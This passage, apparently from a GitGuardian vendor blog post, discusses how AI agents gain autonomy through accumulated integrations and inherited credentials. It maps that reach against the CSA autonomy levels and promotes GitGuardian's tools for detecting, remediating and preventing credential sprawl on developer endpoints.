An agent running there can inherit an enormous amount of potential reach simply because of where it operates.

More integrations quietly mean more autonomy

Agent ecosystems also encourage teams to keep connecting tools. MCP servers, plugins, APIs, CLIs, and integrations are what make an agent useful. Each integration usually needs some kind of authority.

The result is additive.

An agent that could originally edit code can now open tickets. Then it can access GitHub. Then the cloud. Then a database. Then an internal documentation system.

No single change necessarily feels like a major autonomy decision. The combined system may look very different six months later.

It is a self-perpetuating cycle, where more integrations create more credentials, and more credentials create more possible routes through the credential layer.

Agents can gain authority without gaining a new identity

The situation becomes harder to see when agents operate through existing credentials. An agent may inherit the developer's shell, use a service-account key created years ago, or authenticate with a personal token stored in a configuration file.

An organization may have good visibility into the nominal owner of the identity while having much less visibility into which human, script, agent, or MCP workflow is currently exercising its authority. This is a central challenge in AI agent identity.

As agents gain the ability to make more decisions independently, understanding these inherited access paths becomes part of understanding their real autonomy.

What good looks like: matching controls to the level you grant

Your immediate goal should be visibility. Start by inventorying the agents in use and understanding where they operate. Then map the tools and systems available to them.

From there, ask: What credentials are explicitly configured for the agent? What credentials exist on the machine or workload where it runs? Which are valid? Which are long-lived? Which grant access far beyond the agent's expected task?

The most important comparison is between intended autonomy and available authority.

An agent designed for Level 1 behavior can still present substantial risk if every approved action executes with an administrator credential.

An agent you think is at CSA Level 3 may appear tightly bounded while carrying credentials that ignore those boundaries entirely.

The exercise therefore works in both directions. Start with the CSA framework to understand how independently the system can act. Then inspect its credential reach to understand the consequences of that independence.

That gives security and AI platform teams something concrete to investigate without forcing a prescriptive autonomy architecture onto every use case.

Where AI autonomy is heading

Agents will continue gaining tools, integrations, longer-running tasks, and deeper access to enterprise systems. Some of that autonomy will be intentional. Some will arrive as feature updates, new MCP connections, modified permissions, reused credentials, developer experiments, or agents created outside the formal AI program.

That second category should concern security teams most.

Autonomy can change after deployment. CSA even raises the question of dynamic classification because a single agent may operate at different levels depending on the capability or context involved.

The same agent might behave like Level 1 when deploying to production, Level 3 when modifying development systems, and effectively Level 0 when merely analyzing documentation.

Its access can change just as quickly. The agent you approved three days, or weeks, ago may have more tools today. The developer machine underneath it may contain new production credentials, or a new MCP server may have been connected.

Understanding autonomy therefore cannot be a one-time review. Organizations need continuous, near real-time visibility into the credential layer beneath their AI systems.

3 steps to evaluate your AI autonomy use and mitigate credential risks

Every part of the modern enterprise depends on credentials to connect people, applications, infrastructure, and services. Those credentials cross team and department boundaries. Together they form a credential layer underneath the entire enterprise.

Agents increasingly operate across that same layer. If you want to know how autonomous an agent can become, start by understanding the authority available to it.

This is where GitGuardian's mission as the Credential Layer Security Platform directly intersects with AI autonomy.

Step 1: Detect the access agents already have

The first part of addressing your credential layer is detecting any and all credentials. Organizations need to see credentials across the entire credential-carrying surface, because that's ultimately what AI agents will access.

That includes source code and CI/CD systems, along with collaboration platforms, developer endpoints, AI agent directories, MCP configurations, local caches, secret managers, vaults, and the other places where credentials live or travel.

Teams need visibility into developer workstations. This is what GitGuardian delivers with Developer Endpoint Protection. It can discover plaintext credentials across local files, shell histories, config files, IDE caches, browser data, MCP configurations, and files created by AI coding agents. GitGuardian also inventories local AI agents and MCP servers, including what tools and data they can access.

That inventory begins to answer the autonomy question in concrete terms:

Which agents exist?
Where are they running?
Which credentials are within reach?
Which systems do those credentials unlock?

The answer can reveal an agent whose real access has grown far beyond the workflow anyone originally approved.

Step 2: Remediate access that expands the agent's reach

Teams need to gather as much information as possible during the detection phase of any plan in order to remediate the situation.

Not every secret presents the same danger. A test token used only in a dev environment and a valid production cloud credential should produce very different responses. GitGuardian can rank endpoint findings by severity and access scope and route them into existing security workflows.

No team has unlimited time or resources. Every team needs to reduce the noise and focus on what areas carry the most risk. The goal of securing agent access is to address credentials that create dangerous access paths.

That can mean revoking a credential the agent no longer needs, rotating an exposed secret, reducing permissions, eliminating duplicates, or moving a plaintext credential into an appropriate secret manager or vault.

For AI autonomy, remediation has another important effect. It can bring the agent's actual reach back in line with the autonomy the organization intended to grant.

The infrastructure agent restricted to development should carry development-scoped authority. The coding agent working in one repository should not inherit access to every repository in the company.

Credential remediation turns those intended boundaries into real limits on what the agent can reach.

Step 3: Prevent autonomy from expanding through secrets sprawl

As teams work to rein in agents' access paths, they also need to prevent new credential exposure from quietly expanding agent access again.

This has to happen close to where agents work. GitGuardian AI hooks provide guardrails inside tools such as Claude Code, Cursor, and Copilot. They can prevent agents from reading, copying, or transmitting detected secrets across files, tool calls, and chats.

Developer Endpoint Protection also gives centralized visibility into credentials accumulating on local machines, while honeytokens can alert teams when credential-harvesting activity reaches an endpoint.

These controls address a fundamental problem with autonomy creep: Every new plaintext credential can become another access path, and every new access path can expand what an agent can reach. Every increase in reach can increase the autonomy that agent already has.

Understanding CSA levels gives organizations a useful language for recognizing how independently agents operate.

Understanding the credential layer shows organizations what those agents can actually affect.

Organizations need both views.

As agents become more autonomous, sometimes intentionally and sometimes simply through the accumulation of tools and access, security teams need to continuously understand those paths.

Detect the credentials within reach. Remediate the access that creates real danger. Prevent new plaintext credentials from expanding that reach further.

That is how organizations can understand the autonomy they already have and bring security to the credential layer underneath it. That is the mission of GitGuardian as a credential layer security platform.

Start gaining control of your agent autonomy today.